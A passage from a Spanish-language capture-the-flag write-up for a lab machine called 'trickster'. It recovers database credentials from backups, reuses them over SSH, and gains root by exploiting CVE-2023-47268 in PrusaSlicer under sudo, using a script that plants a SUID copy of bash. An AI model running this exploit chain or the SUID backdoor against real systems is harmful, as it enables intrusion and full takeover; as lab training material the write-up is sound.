Y descargamos los archivos en la máquina víctima con wget
:
james@trickster:~$ wget http://172.17.0.2:8080/changedetection-backup-20240830194841.zip -O /tmp/backup_1.zip -q
james@trickster:~$ wget http://172.17.0.2:8080/changedetection-backup-20240830202524.zip -O /tmp/backup_2.zip -q
Descomprimimos los archivos:
james@trickster:/tmp$ mkdir backup_1
james@trickster:/tmp$ mv backup_1.zip backup_1
james@trickster:/tmp$ cd !$
cd backup_1
james@trickster:/tmp/backup_1$ unzip backup_1
Archive: backup_1.zip
creating: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/
extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
extracting: b4a8b52d-651b-44bc-bbc6-f9e8c6590103/history.txt
inflating: secret.txt
inflating: url-list.txt
inflating: url-list-with-tags.txt
inflating: url-watches.json
Tenemos archivos con extensión .txt.br
. Tratando de leerlos muestra caracteres ilegibles.
Buscando qué es la extensión .txt.br
tenemos:
BR
file is a compressed web file generated by applying the open source data compression algorithm, Brotli
. It is used to store webpage assets such as stylesheets (CSS
), images (SVG
), XML
, and scripting files (JavaScript
). Modern day websites, such as Chrome
and Firefox
, use BR
files to reduce the page loading time, resulting in better user experience.Pasamos todos los archivos .txt.br
encontrados en los archivos de respaldo a nuestra máquina de atacantes. Para leer estos archivos, necesitamos instalar Brotli
en nuestra máquina de atacante (ejecutando sudo apt install brotli
para Kali
). Ya instalado, extraemos su contenido:
❯ brotli -d ba1fe8fcfb743ba16a136d805c38328f.txt.br
❯ brotli -d dd25d6c8b666e21ac6e596faa4d4a93d.txt.br
❯ brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br
❯ ls -la
total 172
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Nov 9 04:32 .
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Nov 9 04:32 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 96065 Aug 30 16:21 ba1fe8fcfb743ba16a136d805c38328f.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 28498 Aug 30 16:21 ba1fe8fcfb743ba16a136d805c38328f.txt.br
-rw-rw-r-- 1 gunzf0x gunzf0x 17676 Aug 30 16:21 dd25d6c8b666e21ac6e596faa4d4a93d.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 1679 Aug 30 16:21 dd25d6c8b666e21ac6e596faa4d4a93d.txt.br
-rw-rw-r-- 1 gunzf0x gunzf0x 11866 Aug 30 19:47 f04f0732f120c0cc84a993ad99decb2c.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 2605 Aug 30 19:47 f04f0732f120c0cc84a993ad99decb2c.txt.br
Uno de los archivos extraídos muestra contenido interesante:
❯ cat f04f0732f120c0cc84a993ad99decb2c.txt
<SNIP>
'database_name' => 'prestashop' ,
'database_user' => 'adam' ,
'database_password' => 'adam_admin992' ,
'database_prefix' => 'ps_'
<SNIP>
adam
era otro usuario presente en la máquina víctima.
Revisamos si esta contraseña funciona para adam
utilizando nuevamente NetExec
:
❯ nxc ssh 10.10.11.34 -u 'adam' -p 'adam_admin992'
SSH 10.10.11.34 22 10.10.11.34 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.34 22 10.10.11.34 [+] adam:adam_admin992 Linux - Shell access!
Funciona. Nos logueamos así a través de SSH
:
❯ sshpass -p 'adam_admin992' ssh -o stricthostkeychecking=no adam@10.10.11.34
adam@trickster:~$
Chequeamos qué es lo que puede correr este nuevo usuario con sudo
:
adam@trickster:~$ sudo -l
Matching Defaults entries for adam on trickster:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
Podemos ejecutar PrusaSlicer
con sudo
.
PrusaSlicer
is the slicing software for Prusa 3D printers. It essentially ‘slices’ a 3D object into thin layers and a set of instructions which the 3D printer can then follow to print out your model.Buscando, encontramos una vulnerabilidad catalogada como CVE-2023-47268 la cual permite ejecución de comandos para PrusaSlicer
. El único problema yace en que necesitamos instalar PrusaSlicer
en nuestra máquina de atacantes tal cual es explica en este exploit de exploit-db para crear archivos maliciosos (con extensión .3mf
).
Como alternativa, encontramos este repositorio de Github el cual ejecutará un script llamado /tmp/exploit.sh
(con ese path absoluto). De manera que descargamos el archivo evil.3mf
dado en el repositorio mencionado, lo pasamos a la máquina víctima y creamos un script malicioso llamado /tmp/exploit.sh
ejecutando:
adam@trickster:~$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x' > /tmp/exploit.sh
adam@trickster:~$ chmod +x /tmp/exploit.sh
Recordando asignarle permisos de ejecución.
Esto crea un simple script en Bash
el cual crea un copia del binario de bash
y, a aquella copia, le asigna permisos SUID
.
Ejecutamos el payload descargado (archivo .3mf
) con la flag -s
en PrusaSlicer
para cargarlo:
adam@trickster:~$ sudo /opt/PrusaSlicer/prusaslicer -s /tmp/evil.3mf
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
EXPLOIT
Low bed adhesion
Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to /tmp/EXPLOIT_0.3mm_{printing_filament_types}_MK4_{print_time}.gcode
Slicing result exported to /tmp/EXPLOIT_0.3mm_ABS_MK4_6m.gcode
Revisando el directorio /tmp
nuestro archivo malicoso ha sido creado:
adam@trickster:~$ ls -la /tmp
total 2140
drwxrwxrwt 19 root root 4096 Nov 9 08:04 .
drwxr-xr-x 20 root root 4096 Sep 13 12:24 ..
drwxrwxr-x 2 james james 4096 Aug 31 08:50 b4a8b52d-651b-44bc-bbc6-f9e8c6590103
drwxrwxr-x 3 james james 4096 Nov 9 07:18 backup_1
drwxrwxr-x 4 james james 4096 Nov 9 07:18 backup_2
<SNIP>
-rwsr-xr-x 1 root root 1396520 Nov 9 08:04 gunzf0x
<SNIP>
Usamos este archivo para convertirnos en el usuario root
:
adam@trickster:~$ /tmp/gunzf0x -p
gunzf0x-5.1# whoami
root
GG. Podemos leer la flag del usuario root en el directorio /root
.
~Happy Hacking.